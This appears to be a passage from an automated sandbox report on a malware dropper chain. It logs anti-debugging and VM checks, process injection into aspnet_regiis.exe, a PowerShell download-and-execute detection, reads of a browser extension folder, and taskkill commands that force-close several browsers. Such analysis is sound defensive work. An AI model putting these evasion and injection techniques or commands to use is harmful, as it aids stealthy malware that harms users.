Source: C:\Users\user\AppData\Local\Temp\1008453001\a0a3a50765.exe TID: 5212	Thread sleep time: -50025s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1008453001\a0a3a50765.exe TID: 5460	Thread sleep time: -46023s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1008452001\f5d46eacf9.exe TID: 4136	Thread sleep time: -50025s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1008452001\f5d46eacf9.exe TID: 1664	Thread sleep time: -50025s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1008452001\f5d46eacf9.exe TID: 2516	Thread sleep time: -32000s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1008452001\f5d46eacf9.exe TID: 1460	Thread sleep time: -50025s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1008452001\f5d46eacf9.exe TID: 4092	Thread sleep time: -42021s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1008452001\f5d46eacf9.exe TID: 3548	Thread sleep time: -210000s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1008452001\f5d46eacf9.exe TID: 6684	Thread sleep time: -46023s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1008452001\f5d46eacf9.exe TID: 504	Thread sleep time: -48024s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1008452001\f5d46eacf9.exe TID: 3632	Thread sleep time: -30015s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1008452001\f5d46eacf9.exe TID: 1748	Thread sleep time: -48024s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1008453001\a0a3a50765.exe TID: 7408	Thread sleep time: -34017s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1008453001\a0a3a50765.exe TID: 7416	Thread sleep time: -30015s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1008453001\a0a3a50765.exe TID: 7332	Thread sleep count: 238 > 30
Source: C:\Users\user\AppData\Local\Temp\1008453001\a0a3a50765.exe TID: 7332	Thread sleep time: -1428000s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1008453001\a0a3a50765.exe TID: 7428	Thread sleep time: -34017s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1008453001\a0a3a50765.exe TID: 7420	Thread sleep time: -36018s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1008455001\796ccdd7ba.exe TID: 6164	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1008455001\796ccdd7ba.exe TID: 2816	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1008456001\2096827834.exe TID: 6560	Thread sleep count: 1166 > 30
Source: C:\Users\user\AppData\Local\Temp\1008456001\2096827834.exe TID: 6560	Thread sleep time: -2333166s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1008456001\2096827834.exe TID: 5868	Thread sleep count: 1175 > 30
Source: C:\Users\user\AppData\Local\Temp\1008456001\2096827834.exe TID: 5868	Thread sleep time: -2351175s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1008456001\2096827834.exe TID: 772	Thread sleep time: -32000s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1008456001\2096827834.exe TID: 5116	Thread sleep count: 1074 > 30
Source: C:\Users\user\AppData\Local\Temp\1008456001\2096827834.exe TID: 5116	Thread sleep time: -2149074s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1008456001\2096827834.exe TID: 6920	Thread sleep count: 1194 > 30
Source: C:\Users\user\AppData\Local\Temp\1008456001\2096827834.exe TID: 6920	Thread sleep time: -2389194s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1008456001\2096827834.exe TID: 7336	Thread sleep count: 1182 > 30
Source: C:\Users\user\AppData\Local\Temp\1008456001\2096827834.exe TID: 7336	Thread sleep time: -2365182s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1008456001\2096827834.exe TID: 6412	Thread sleep count: 1149 > 30
Source: C:\Users\user\AppData\Local\Temp\1008456001\2096827834.exe TID: 6412	Thread sleep time: -2299149s >= -30000s

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_BIOS
Source: C:\Users\user\AppData\Local\Temp\1008452001\f5d46eacf9.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_BIOS
Source: C:\Users\user\AppData\Local\Temp\1008452001\f5d46eacf9.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_BIOS

Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed

Source: C:\Users\user\Desktop\file.exe

File Volume queried: C:\ FullSizeInformation

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread delayed: delay time: 30000	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread delayed: delay time: 180000	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008455001\796ccdd7ba.exe	Thread delayed: delay time: 922337203685477
Source: C:\Users\user\AppData\Local\Temp\1008455001\796ccdd7ba.exe	Thread delayed: delay time: 922337203685477

Source: C:\Users\user\AppData\Local\Temp\1008453001\a0a3a50765.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\html\
Source: C:\Users\user\AppData\Local\Temp\1008453001\a0a3a50765.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\
Source: C:\Users\user\AppData\Local\Temp\1008453001\a0a3a50765.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\images\
Source: C:\Users\user\AppData\Local\Temp\1008453001\a0a3a50765.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\
Source: C:\Users\user\AppData\Local\Temp\1008453001\a0a3a50765.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\bg\
Source: C:\Users\user\AppData\Local\Temp\1008453001\a0a3a50765.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\css\

Source: skotes.exe, skotes.exe, 00000002.00000002.1823605043.0000000000FBC000.00000040.00000001.01000000.00000007.sdmp, f5d46eacf9.exe, 0000000E.00000002.3012944754.0000000000BC2000.00000040.00000001.01000000.0000000E.sdmp, f5d46eacf9.exe, 0000000E.00000002.3051270187.0000000006555000.00000040.00000800.00020000.00000000.sdmp, a0a3a50765.exe, 0000000F.00000002.3114843075.000000000104A000.00000040.00000001.01000000.0000000F.sdmp, f5d46eacf9.exe, 00000010.00000003.3100493391.000000000118D000.00000004.00000020.00020000.00000000.sdmp, 796ccdd7ba.exe, 00000026.00000002.2950622129.0000000000F15000.00000040.00000001.01000000.00000018.sdmp	Binary or memory string: HARDWARE\ACPI\DSDT\VBOX__
Source: firefox.exe, 00000022.00000002.2865155293.0000018607500000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll.
Source: aspnet_regiis.exe, 00000009.00000002.2608780200.0000000002A2D000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000009.00000003.2607917960.0000000002A2D000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWp
Source: firefox.exe, 00000025.00000002.2863590176.0000015226F30000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dllQ
Source: aspnet_regiis.exe, aspnet_regiis.exe, 00000009.00000003.2598137890.0000000002A58000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000009.00000002.2608888840.0000000002A5B000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000009.00000003.2608370830.0000000002A5A000.00000004.00000020.00020000.00000000.sdmp, f5d46eacf9.exe, 0000000E.00000003.2858010384.000000000133B000.00000004.00000020.00020000.00000000.sdmp, f5d46eacf9.exe, 0000000E.00000003.2858010384.0000000001332000.00000004.00000020.00020000.00000000.sdmp, f5d46eacf9.exe, 0000000E.00000003.2801097956.0000000001332000.00000004.00000020.00020000.00000000.sdmp, f5d46eacf9.exe, 0000000E.00000002.3019293208.000000000132C000.00000004.00000020.00020000.00000000.sdmp, f5d46eacf9.exe, 0000000E.00000002.3019293208.00000000012EA000.00000004.00000020.00020000.00000000.sdmp, a0a3a50765.exe, 0000000F.00000002.3125680756.00000000019C4000.00000004.00000020.00020000.00000000.sdmp, a0a3a50765.exe, 0000000F.00000002.3125680756.00000000019F5000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: f5d46eacf9.exe, 0000000E.00000002.3019293208.00000000012F6000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\
Source: a0a3a50765.exe, 0000000F.00000002.3125680756.000000000197E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMwareVMware
Source: firefox.exe, 00000022.00000002.2863594852.0000018607416000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW : 2 : 34 : 1 : 1 : 0x20026 : 0x8 : %SystemRoot%\system32\mswsock.dll : : 1234191b-4bf7-4ca7-86e0-dfd7c32b5445
Source: aspnet_regiis.exe, 00000009.00000003.2598137890.0000000002A58000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000009.00000002.2608888840.0000000002A5B000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000009.00000003.2608370830.0000000002A5A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW*
Source: file.exe, 00000000.00000002.1793664830.0000000000D6C000.00000040.00000001.01000000.00000003.sdmp, skotes.exe, 00000001.00000002.1814591690.0000000000FBC000.00000040.00000001.01000000.00000007.sdmp, skotes.exe, 00000002.00000002.1823605043.0000000000FBC000.00000040.00000001.01000000.00000007.sdmp, f5d46eacf9.exe, 0000000E.00000002.3012944754.0000000000BC2000.00000040.00000001.01000000.0000000E.sdmp, f5d46eacf9.exe, 0000000E.00000002.3051270187.0000000006555000.00000040.00000800.00020000.00000000.sdmp, a0a3a50765.exe, 0000000F.00000002.3114843075.000000000104A000.00000040.00000001.01000000.0000000F.sdmp, 796ccdd7ba.exe, 00000026.00000002.2950622129.0000000000F15000.00000040.00000001.01000000.00000018.sdmp	Binary or memory string: Restart now?\\.\Oreans.vxd%s\Oreans.vxdXprotEventHARDWARE\ACPI\DSDT\VBOX__SeShutdownPrivilegeSoftware\WinLicenseCreateEvent API Error while extraction the driverGetEnvironmentVariable API Error while extraction the driverOpenSCManager API Error while extraction the driverCreateService API Error while extraction the driverCloseServiceHandle API Error while extraction the driverOpenService API Error while extraction the driverStartService API Error while extraction the driverAPIC error: Cannot find Processors Control Blocks. Please,
Source: firefox.exe, 00000022.00000002.2865155293.0000018607500000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 00000025.00000002.2863590176.0000015226F30000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll
Source: firefox.exe, 00000022.00000002.2865155293.0000018607500000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll$

Source: C:\Users\user\Desktop\file.exe

System information queried: ModuleInformation

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Process information queried: ProcessInformation

Jump to behavior

Anti Debugging

Hides threads from debuggers

Source: C:\Users\user\Desktop\file.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008452001\f5d46eacf9.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\1008452001\f5d46eacf9.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\1008453001\a0a3a50765.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\1008452001\f5d46eacf9.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\1008452001\f5d46eacf9.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\1008453001\a0a3a50765.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\1008455001\796ccdd7ba.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\1008455001\796ccdd7ba.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\1008456001\2096827834.exe	Thread information set: HideFromDebugger

Tries to detect sandboxes and other dynamic analysis tools (window names)

Source: C:\Users\user\AppData\Local\Temp\1008456001\2096827834.exe	Open window title or class name: regmonclass
Source: C:\Users\user\AppData\Local\Temp\1008456001\2096827834.exe	Open window title or class name: gbdyllo
Source: C:\Users\user\AppData\Local\Temp\1008456001\2096827834.exe	Open window title or class name: process monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\AppData\Local\Temp\1008456001\2096827834.exe	Open window title or class name: procmon_window_class
Source: C:\Users\user\AppData\Local\Temp\1008456001\2096827834.exe	Open window title or class name: registry monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\AppData\Local\Temp\1008456001\2096827834.exe	Open window title or class name: ollydbg
Source: C:\Users\user\AppData\Local\Temp\1008456001\2096827834.exe	Open window title or class name: filemonclass
Source: C:\Users\user\AppData\Local\Temp\1008456001\2096827834.exe	Open window title or class name: file monitor - sysinternals: www.sysinternals.com

Source: C:\Users\user\AppData\Local\Temp\1008456001\2096827834.exe	File opened: NTICE
Source: C:\Users\user\AppData\Local\Temp\1008456001\2096827834.exe	File opened: SICE
Source: C:\Users\user\AppData\Local\Temp\1008456001\2096827834.exe	File opened: SIWVID

Source: C:\Users\user\AppData\Local\Temp\1008452001\f5d46eacf9.exe

System information queried: KernelDebuggerInformation

Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008450001\5468191780.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008450001\5468191780.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008452001\f5d46eacf9.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1008452001\f5d46eacf9.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1008452001\f5d46eacf9.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1008452001\f5d46eacf9.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1008452001\f5d46eacf9.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1008452001\f5d46eacf9.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1008453001\a0a3a50765.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1008453001\a0a3a50765.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1008453001\a0a3a50765.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1008452001\f5d46eacf9.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1008452001\f5d46eacf9.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1008452001\f5d46eacf9.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1008452001\f5d46eacf9.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1008452001\f5d46eacf9.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1008452001\f5d46eacf9.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1008453001\a0a3a50765.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1008453001\a0a3a50765.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1008453001\a0a3a50765.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1008455001\796ccdd7ba.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1008455001\796ccdd7ba.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1008455001\796ccdd7ba.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1008455001\796ccdd7ba.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1008455001\796ccdd7ba.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1008455001\796ccdd7ba.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1008456001\2096827834.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1008456001\2096827834.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1008456001\2096827834.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1008456001\2096827834.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1008456001\2096827834.exe	Process queried: DebugPort

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_05530DC0 rdtsc

0_2_05530DC0

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe

Code function: 9_2_72B5DF70 LdrInitializeThunk,

9_2_72B5DF70

Source: C:\Users\user\AppData\Local\Temp\1008450001\5468191780.exe

Code function: 7_2_6C9D9D3A IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,

7_2_6C9D9D3A

Source: C:\Users\user\AppData\Local\Temp\1008450001\5468191780.exe	Code function: 7_2_6C9D9D09 mov eax, dword ptr fs:[00000030h]		7_2_6C9D9D09
Source: C:\Users\user\AppData\Local\Temp\1008450001\5468191780.exe	Code function: 7_2_6C9D8B35 mov eax, dword ptr fs:[00000030h]		7_2_6C9D8B35

Source: C:\Users\user\AppData\Local\Temp\1008450001\5468191780.exe

Code function: 7_2_6C9DB91C GetProcessHeap,

7_2_6C9DB91C

Source: C:\Windows\SysWOW64\taskkill.exe	Process token adjusted: Debug
Source: C:\Windows\SysWOW64\taskkill.exe	Process token adjusted: Debug
Source: C:\Windows\SysWOW64\taskkill.exe	Process token adjusted: Debug
Source: C:\Windows\SysWOW64\taskkill.exe	Process token adjusted: Debug
Source: C:\Windows\SysWOW64\taskkill.exe	Process token adjusted: Debug
Source: C:\Users\user\AppData\Local\Temp\1008455001\796ccdd7ba.exe	Process token adjusted: Debug

Source: C:\Users\user\AppData\Local\Temp\1008450001\5468191780.exe	Code function: 7_2_6C9D9D3A IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	7_2_6C9D9D3A
Source: C:\Users\user\AppData\Local\Temp\1008450001\5468191780.exe	Code function: 7_2_6C9D6ED1 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	7_2_6C9D6ED1
Source: C:\Users\user\AppData\Local\Temp\1008450001\5468191780.exe	Code function: 7_2_6C9D73AA IsProcessorFeaturePresent,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	7_2_6C9D73AA

Source: C:\Users\user\AppData\Local\Temp\1008450001\5468191780.exe

Memory allocated: page read and write | page guard

Jump to behavior

HIPS / PFW / Operating System Protection Evasion

Yara detected Powershell download and execute

Source: Yara match	File source: Process Memory Space: a0a3a50765.exe PID: 5292, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: a0a3a50765.exe PID: 7328, type: MEMORYSTR

Allocates memory in foreign processes

Source: C:\Users\user\AppData\Local\Temp\1008450001\5468191780.exe

Memory allocated: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe base: 72B20000 protect: page execute and read and write

Jump to behavior

Injects a PE file into a foreign processes

Source: C:\Users\user\AppData\Local\Temp\1008450001\5468191780.exe

Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe base: 72B20000 value starts with: 4D5A

Jump to behavior

Writes to foreign memory regions

Source: C:\Users\user\AppData\Local\Temp\1008450001\5468191780.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe base: 72B20000	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008450001\5468191780.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe base: 72B21000	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008450001\5468191780.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe base: 72B62000	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008450001\5468191780.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe base: 72B65000	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008450001\5468191780.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe base: 72B76000	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008450001\5468191780.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe base: 72B77000	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008450001\5468191780.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe base: 72B21000	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008450001\5468191780.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe base: 72B62000	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008450001\5468191780.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe base: 72B65000	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008450001\5468191780.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe base: 72B76000	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008450001\5468191780.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe base: 72B77000	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008450001\5468191780.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe base: 2789008	Jump to behavior

Source: C:\Users\user\Desktop\file.exe	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1008450001\5468191780.exe "C:\Users\user\AppData\Local\Temp\1008450001\5468191780.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1008452001\f5d46eacf9.exe "C:\Users\user\AppData\Local\Temp\1008452001\f5d46eacf9.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1008453001\a0a3a50765.exe "C:\Users\user\AppData\Local\Temp\1008453001\a0a3a50765.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1008454001\9777a59422.exe "C:\Users\user\AppData\Local\Temp\1008454001\9777a59422.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1008455001\796ccdd7ba.exe "C:\Users\user\AppData\Local\Temp\1008455001\796ccdd7ba.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1008456001\2096827834.exe "C:\Users\user\AppData\Local\Temp\1008456001\2096827834.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008450001\5468191780.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008452001\f5d46eacf9.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument http://go.microsoft.com/fwlink/?prd=11324&pver=4.5&sbp=AppLaunch2&plcid=0x409&o1=SHIM_NOVERSION_FOUND&version=(null)&processName=f5d46eacf9.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0
Source: C:\Users\user\AppData\Local\Temp\1008452001\f5d46eacf9.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument http://go.microsoft.com/fwlink/?prd=11324&pver=4.5&sbp=AppLaunch2&plcid=0x409&o1=SHIM_NOVERSION_FOUND&version=(null)&processName=f5d46eacf9.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0
Source: C:\Users\user\AppData\Local\Temp\1008453001\a0a3a50765.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1008452001\f5d46eacf9.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1008452001\f5d46eacf9.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1008456001\2096827834.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1008456001\2096827834.exe	Process created: unknown unknown

Source: C:\Users\user\AppData\Local\Temp\1008454001\9777a59422.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM firefox.exe /T
Source: C:\Users\user\AppData\Local\Temp\1008454001\9777a59422.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM chrome.exe /T
Source: C:\Users\user\AppData\Local\Temp\1008454001\9777a59422.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM msedge.exe /T
Source: C:\Users\user\AppData\Local\Temp\1008454001\9777a59422.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM opera.exe /T
Source: C:\Users\user\AppData\Local\Temp\1008454001\9777a59422.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM brave.exe /T
Source: C:\Users\user\AppData\Local\Temp\1008454001\9777a59422.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM firefox.exe /T
Source: C:\Users\user\AppData\Local\Temp\1008454001\9777a59422.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM chrome.exe /T
Source: C:\Users\user\AppData\Local\Temp\1008454001\9777a59422.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM msedge.exe /T
Source: C:\Users\user\AppData\Local\Temp\1008454001\9777a59422.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM opera.exe /T
Source: C:\Users\user\AppData\Local\Temp\1008454001\9777a59422.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM brave.exe /T

